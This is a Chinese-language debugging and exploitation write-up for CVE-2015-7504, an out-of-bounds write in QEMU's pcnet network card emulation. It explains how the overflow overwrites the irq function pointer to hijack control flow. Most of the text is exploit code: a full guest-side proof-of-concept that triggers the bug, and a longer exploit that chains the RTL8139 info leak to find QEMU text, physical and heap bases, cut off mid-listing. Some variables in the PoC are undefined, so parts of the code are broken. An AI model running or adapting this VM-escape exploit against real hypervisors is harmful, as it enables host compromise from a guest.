CVE-2015-7504调试分析

CVE-2015-7504

此漏洞算是CVE-2015-5165的扩展。

前置知识

CRC的用法作用及其逆向构造。

搭建环境

CVE-2015-5165一起搭建即可。

http://codemx.cn/2016/04/30/Understand01/

漏洞分析

漏洞点,pcnet.c:1082pcnet_receive函数中,src数组的下标size未上限检测,进而导致的数组越界,p初始为srcwhile循环会不断p++直到p == &src[size]才会停止,所以当size == 0x1000时(也是最大时),跳出while循环的p已经指向了s->buffer的后面那个元素,查看得知其为一个结构体指针:

image-20200804141119611

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
typedef struct PCNetState_st PCNetState;

struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq; // <==== here!!!
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};

查找qemu_irq的定义,为IRQState的结构体指针:

1
2
3
4
5
6
7
8
//typedef.h
/*
* Pointer types
* Such typedefs should be limited to cases where the typedef's users
* are oblivious of its "pointer-ness".
* Please keep this list in case-insensitive alphabetical order.
*/
typedef struct IRQState *qemu_irq;

再查看IRQState的元素结构,看到qemu_irq_handler元素带有handler字样,猜测其为函数指针:

1
2
3
4
5
6
7
8
// /hw/core/irq.c:31
struct IRQState {
Object parent_obj;

qemu_irq_handler handler;
void *opaque;
int n;
};

查看qemu_irq_handler定义,确认其的确为函数指针:

1
2
// /hw/xtensa/irq.h:10
typedef void (*qemu_irq_handler)(void *opaque, int n, int level);

由于IRQState中存在一个函数指针,使劫持执行流成为可能。

查找其引用发现在qemu_set_irq中被调用:

1
2
3
4
5
6
7
8
// /hw/core/irq.c
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

在查找qemu_set_irq的引用,发现在qemu_update_irq中被引用,再查找qemu_update_irq的引用,发现在pcnet_reveive的结束末尾处恰好调用了pcnet_update_irq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
...
while (pktcount--) {
if (CSR_RCVRC(s) <= 1)
CSR_RCVRC(s) = CSR_RCVRL(s);
else
CSR_RCVRC(s)--;
}

pcnet_rdte_poll(s);

}
}

pcnet_poll(s);
pcnet_update_irq(s); //here <=== !!!

return size_;
}

所以漏洞触发链:pcnet_ioport_write=>pcnet_ioport_writew=>pcnet_csr_writew=>pcnet_transmit=>pcnet_receive

因为结构体跨越文件较多,所以这里可以用Understand等源码阅读器来搜索阅读结构体。

主要分为几个步骤:

  1. 配置pcnet网卡的各项数据。(我觉得最难理解的地方。。。我复现完对这一块仍然很疑惑,有的地方不知其原因)
  2. patch crc,构造数据包,原理在前置知识中给出。
  3. 将数据包地址填入tx_desc中并发送触发pcnet_transmit

调试与poc

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
#include <assert.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <limits.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

#define page_aligned __attribute__((aligned(PAGE_SIZE)))

#define PCNET_BUFFER_SIZE 4096
#define PCNET_PORT 0xc100

#define DRX 0x0001
#define DTX 0x0002
#define LOOP 0x0004
#define DXMTFCS 0x0008
#define INTL 0x0040
#define DRCVPA 0x2000
#define DRCVBC 0x4000
#define PROM 0x8000

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap","rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp,(unsigned long)addr/PAGE_SIZE*8,SEEK_SET))
{
fread(&pfn,sizeof(pfn),1,fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

enum PCNET_registers {
RDP = 0x10,
RAP = 0x12,
RST = 0x14,
};

struct pcnet_config {
uint16_t mode;
uint8_t rlen;
uint8_t tlen;
uint8_t mac[6];
uint16_t _reserved;
uint8_t ladr[8];
uint32_t rx_desc;
uint32_t tx_desc;
};

struct pcnet_desc {
uint32_t addr;
int16_t length;
int8_t status_1;
int8_t status_2;
uint32_t misc;
uint32_t _reserved;
};

static uint8_t pcnet_packet[PCNET_BUFFER_SIZE] = {
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, 0x52,
0x54, 0x00, 0x12, 0x34, 0x56, 0x08, 0x00,
};


/* generated using the AUTODIN II polynomial
* x^32 + x^26 + x^23 + x^22 + x^16 +
* x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1
*/
static const uint32_t crctab[256] = {
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba,
0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3,
0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91,
0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec,
0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5,
0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940,
0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116,
0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f,
0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d,
0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a,
0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};

static int fd = -1;

/* PCNET primitives */
void pcnet_packet_patch_crc(uint8_t *packet, uint32_t current,
uint32_t target)
{
size_t i = 0, j;
uint8_t *ptr;
uint32_t workspace[2] = { current, target };
for (i = 0; i < 2; i++)
workspace[i] &= (uint32_t)~0;
ptr = (uint8_t *)(workspace + 1);
for (i = 0; i < 4; i++) {
j = 0;
while(crctab[j] >> 24 != *(ptr + 3 - i)) j++;
*((uint32_t *)(ptr - i)) ^= crctab[j];
*(ptr - i - 1) ^= j;
}
strncpy(packet, ptr - 4, 4);
}

uint64_t pcnet_card_config(struct pcnet_config *config,
struct pcnet_desc *rx_desc,
struct pcnet_desc *tx_desc)
{
memset(config, 0, sizeof(struct pcnet_config));

config->mode = LOOP | PROM;
strcpy(config->mac, "\xaa\xbb\xcc\xdd\xee\xff");
config->rlen = 0x0;
config->tlen = 0x0;
config->rx_desc = (uint32_t)gva_to_gpa(rx_desc);
config->tx_desc = (uint32_t)gva_to_gpa(tx_desc);
return gva_to_gpa(config);
}

void pcnet_desc_config(struct pcnet_desc *desc, void *buffer, int is_rx)
{
uint16_t bcnt = -PCNET_BUFFER_SIZE;
bcnt &= 0xfff;
bcnt |= 0xf000;

memset(desc, 0, sizeof(struct pcnet_desc));
memset(buffer, 0, PCNET_BUFFER_SIZE);
desc->addr = (uint32_t)gva_to_gpa(buffer);
desc->length = bcnt;
if (is_rx) {
/* receive buffers owned by the card */
desc->status_2 = 0x80;
}
}

void pcnet_packet_send(struct pcnet_desc *desc, void *buffer,
void *packet, size_t len)
{
if (len <= PCNET_BUFFER_SIZE) {
memcpy(buffer, packet, len);

/* set STP ENP ADDFCS bits */
desc->status_2 |= 0x23;

len = (-len);
len &= 0xfff;
len |= 0xf000;
desc->length = len;

/* flip ownership to card */
desc->status_2 |= 0x80;

/* signal packet */
outw(0, PCNET_PORT + RAP);
outw(0x8, PCNET_PORT + RDP);
}
}

int main()
{
fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
puts("open pagemap failed!");
exit(0);
}

struct pcnet_config pcnet_config;
uint32_t pcnet_config_mem;
struct pcnet_desc pcnet_tx_desc page_aligned;
struct pcnet_desc pcnet_rx_desc page_aligned;
void *pcnet_rx_buffer, *pcnet_tx_buffer;
uint32_t fcs = ~0;
uint16_t lo, hi;

pcnet_rx_buffer = (uint64_t *)aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
pcnet_tx_buffer = (uint64_t *)aligned_alloc(PAGE_SIZE, PCNET_BUFFER_SIZE);
/* setup rx */
pcnet_desc_config(&pcnet_rx_desc, pcnet_rx_buffer, 1);
/* setup tx */
pcnet_desc_config(&pcnet_tx_desc, pcnet_tx_buffer, 0);
/* setup pcnet config struct and get the physical address */
pcnet_config_mem = (uint32_t)pcnet_card_config(&pcnet_config,
&pcnet_rx_desc,
&pcnet_tx_desc);
lo = (uint16_t)pcnet_config_mem;
hi = pcnet_config_mem >> 16;
/* get the crc which value is fake_irq_addr */
uint32_t fake_irq_addr = (pcnet_buffer_addr+0x10-0x30) & 0xffffffff;
/* compute required crc */
c_ptr = pcnet_packet;
while (c_ptr != &pcnet_packet[PCNET_BUFFER_SIZE - 4])
CRC(fcs, *c_ptr++);
pcnet_packet_patch_crc(c_ptr, fcs, htonl(0xdeadbeef));

/* soft reset */
inl(PCNET_PORT + 0x18);

/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);

/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);

/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);

sleep(2);
// trigger the vuln and execute system("cat flag")
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);

return 0;
}

漏洞利用

因为我们只能覆盖irq这个结构体指针的后四个字节,所以我们没办法完全将其劫持到fake_struct上,只能在其原来位于的地址附近伪造,其原地址是main_arena上的堆地址,所以我们必须泄露出heap_base,这个是有概率的,且不像phy_base & text_base这么稳定,其次因为设备的PCNetState也是在main_arena的堆上的,所以我们可以在s->buffer中伪造fake_IRQState,然后将irq劫持到fake_IRQState上。

在实际调试时遇到的两个问题:

  1. 触发链的问题,经过审源码发现,pcnet_transmit并非只有上面所提到的那一条链,在pcnet_poll_timer=>pcnet_poll=>pcnet_transmit这条链中也可触发,pcnet_poll_timer像是一个定时检查txpoll,判断tx_descbuf中是否存在未发送的数据的函数,但是由于调试时的时间很不稳定,所以我自己在尝试时有时在这里可以直接触发,无需再在pcnet_writew里构造触发,有时又需要自己构造触发。

  2. pcnet_bufferheap_base的偏移不稳定,也就是设备结构体的地址与heap_base的地址之间的偏移经常不固定,但是我看别人的exp都没有提这个问题,但是我自己是真的遇到了这个问题,所以我自己打的时候不是很稳定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
#include <assert.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <limits.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)

// Tx ownership flag
#define CP_TX_OWN (1<<31)
// Tx end of ring flag
#define CP_TX_EOR (1<<30)
// last segment of received packet flag
#define CP_TX_LS (1<<28)
// large send packet flag
#define CP_TX_LGSEN (1<<27)
// IP checksum offload flag
#define CP_TX_IPCS (1<<18)
// TCP checksum offload flag
#define CP_TX_TCPCS (1<<16)

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

#define page_aligned __attribute__((aligned(PAGE_SIZE)))

#define PCNET_BUFFER_SIZE 4096
#define PCNET_PORT 0xc100

#define DRX 0x0001
#define DTX 0x0002
#define LOOP 0x0004
#define DXMTFCS 0x0008
#define INTL 0x0040
#define DRCVPA 0x2000
#define DRCVBC 0x4000
#define PROM 0x8000

#define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])

// RTL8139 网卡寄存器偏移地址
enum RTL8139_registers
{
TxAddr0 = 0x20, // Tx descriptor address
ChipCmd = 0x37,
TxConfig = 0x40,
RxConfig = 0x44,
TxPoll = 0xD9, // tell chip to check Tx descriptors for work
CpCmd = 0xE0, // C+ Command register (C+ mode only)
// 虽然名字写的 RxRingAddr, 但实际上是 Rx descriptor address
RxRingAddrLO = 0xE4, // 32-bit low addr of Rx descriptor
RxRingAddrHI = 0xE8, // 32-bit high addr of Rx descriptor
};

enum RTL_8139_tx_config_bits
{
TxLoopBack = (1 << 18) | (1 << 17), // enable loopback test mode
};

enum RTL_8139_rx_mode_bits
{
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};

enum RTL_8139_CplusCmdBits
{
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};

enum RT8139_ChipCmdBits
{
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};

enum RTL8139_TxPollBits
{
CPlus = (0x1 << 6),
};

// RTL8139 Rx / Tx descriptor
typedef struct rtl8139_desc
{
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
}rtl8139_desc;

// RTL8139 Rx / Tx ring
typedef struct rtl8139_ring
{
struct rtl8139_desc* desc;
void* buffer;
}rtl8139_ring;

uint8_t rtl8139_packet[] =
{
// Ethernet Frame Header 数据
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // DST MAC 52:54:00:12:34:56
0x52, 0x54, 0x00, 0x12, 0x34, 0x56, // SRC MAC 52:54:00:12:34:56
0x08, 0x00, // Length / Type: IPv4

// Ethernet Frame Payload 数据, 即 IPv4 数据包
// Version & IHL(Internet Header Length)
(0x04 << 4) | 0x05, // 4bits version = 0x4x | 4bits hlen =0xx5 => 0x05 * 4 = 20 bytes
0x00, // 8bit TOS
0x00, 0x13, // 16bits Total Length = 0x13 = 19 bytes,19-20 = -1 = 0xFFFF, trigger vulnerability
0xde, 0xad, // 16bits Identification
0x40, 0x00, // 3bits Flags & 13bits Fragment Offset
0x40, // 8bits TTL
0x06, // 8bits Protocol:TCP
0xde, 0xad, // 16bits Header checksum
0x7f, 0x00, 0x00, 0x01, // 32bits Source IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01, // 32bits Destination IP:127.0.0.1

// IP Packet Payload 数据, 即 TCP 数据包
0xde, 0xad, // 16bits Source Port
0xbe, 0xef, // 16bits Destination Port
0x00, 0x00, 0x00, 0x00, // 32bits Sequence Number
0x00, 0x00, 0x00, 0x00, // 32bits Acknowledgement Number
0x50, // 01010000, 4bits Header Length = 5*4 = 20 && 4bits null
0x10, // 00010000, 2bits null && 2bits URG ACK PSH RST SYN FIN
0xde, 0xad, // 16bits Window Size
0xde, 0xad, // 16bits TCP checksum
0x00, 0x00 // 16bits Urgent Pointer
};

uint64_t get_physical_pfn(void* addr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap","rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp,(unsigned long)addr/PAGE_SIZE*8,SEEK_SET))
{
fread(&pfn,sizeof(pfn),1,fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t gva_to_gpa(void* addr)
{
uint64_t pfn = get_physical_pfn(addr);
return pfn * PAGE_SIZE + (uint64_t)addr % PAGE_SIZE;
}

void rtl8139_desc_config_rx(rtl8139_ring* ring, rtl8139_desc* desc, size_t nb)
{
size_t buffer_size = RTL8139_BUFFER_SIZE+4;
for (size_t i = 0; i < nb; ++i)
{
memset(&desc[i],0,sizeof(desc[i]));
ring[i].desc = &desc[i];
ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer,0,buffer_size);

// descriptor owned by NIC 准备接收数据
ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb-1)
{
ring[i].desc->dw0 |= CP_RX_EOR; // End of Ring
}
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= buffer_size; // buffer_size
ring[i].desc->buf_lo = (uint32_t)gva_to_gpa(ring[i].buffer);
}

// Rx descriptors address
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+RxRingAddrLO);
outl(0,RTL8139_PORT+RxRingAddrHI);
}

void rtl8139_desc_config_tx(rtl8139_desc* desc, void* buffer)
{
memset(desc, 0, sizeof(rtl8139_desc));
desc->dw0 |= CP_TX_OWN | // descriptor owned by NIC 准备发送数据
CP_TX_EOR |
CP_TX_LS |
CP_TX_LGSEN |
CP_TX_IPCS |
CP_TX_TCPCS;
desc->dw0 += RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)gva_to_gpa(buffer);
outl((uint32_t)gva_to_gpa(desc),RTL8139_PORT+TxAddr0);
outl(0,RTL8139_PORT+TxAddr0+4);
}

void rtl8139_card_config()
{
// 触发漏洞需要设置的一些参数
outl(TxLoopBack,RTL8139_PORT+TxConfig);
outl(AcceptMyPhys,RTL8139_PORT+RxConfig);
outw(CPlusRxEnb|CPlusTxEnb,RTL8139_PORT+CpCmd);
outb(CmdRxEnb|CmdTxEnb,RTL8139_PORT+ChipCmd);
}

void rtl8139_packet_send(void* buffer, void* packet, size_t len)
{
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer,packet,len);
outb(CPlus,RTL8139_PORT+TxPoll);
}
}

void xxd(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n%p: ",ptr + i);
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}

uint64_t qemu_search_text_base(void* ptr, size_t size)
{
size_t i,j;
uint64_t property_get_bool_offset = 0x369597;
uint64_t property_get_str_offset = 0x369340;
uint64_t memory_region_destructor_none_offset = 0xed560;
uint64_t address_space_io_offset = 0x8e5e80;
uint64_t offset[]={property_get_bool_offset, property_get_str_offset, memory_region_destructor_none_offset,address_space_io_offset};
uint64_t *int_ptr, addr, text_base =0;
for (i=0; i<size-8; i+=8) {
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
for(j=0; j<sizeof(offset)/sizeof(uint64_t); j++) {
if( ((addr & 0xfffff00000000000) == 0x500000000000) && (( (addr - offset[j]) & 0xfff ) == 0) ) {
text_base = addr - offset[j];
//printf("[+]text_base_ptr: %p\n",int_ptr);
break;
}
if(text_base !=0)
break;
}
}

return text_base;
}

uint64_t qemu_search_phy_base(void *ptr, size_t size)
{
size_t i;
uint64_t *int_ptr, addr, phy_base = 0;

for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
if((addr & 0xfffff00000000000) == 0x700000000000)
{
addr = addr & 0xffffffffff000000;
phy_base = addr - 0x80000000;
//printf("[+]phy_base_ptr: %p\n",int_ptr);
break;
}
}

return phy_base;
}

uint64_t qemu_search_heap_base(void *ptr, size_t size, uint64_t text_base)
{
size_t i;
size_t j;
uint64_t *int_ptr, addr, heap_base = 0;
uint64_t offset[] = {0xbb9e0,0xe20ce8,0x10be948,0xa6088,0xe904d8};
//{0x4a7c0, 0x1470208, 0x1765d70, 0xd3c748, 0xe883b8, 0x1470208};
for (i = 0; i < size-8; i += 8)
{
int_ptr = (uint64_t*)(ptr+i);
addr = *int_ptr;
//printf("i: %d 0x%lx\n",i, addr);
for(j=0; j<sizeof(offset)/sizeof(uint64_t); j++) {
if(((addr-text_base) > 0xd55000) && ((addr & 0xffff00000000)==(text_base & 0xffff00000000)) && ((addr - offset[j]) & 0xfff ) == 0) {
heap_base = addr - offset[j];
break;
}
if(heap_base != 0)
break;
}
}
return heap_base;
}

enum PCNET_registers {
RDP = 0x10,
RAP = 0x12,
RST = 0x14,
};

struct pcnet_config {
uint16_t mode;
uint8_t rlen;
uint8_t tlen;
uint8_t mac[6];
uint16_t _reserved;
uint8_t ladr[8];
uint32_t rx_desc;
uint32_t tx_desc;
};

struct pcnet_desc {
uint32_t addr;
int16_t length;
int8_t status_1;
int8_t status_2;
uint32_t misc;
uint32_t _reserved;
};

static uint8_t pcnet_packet[PCNET_BUFFER_SIZE] = {
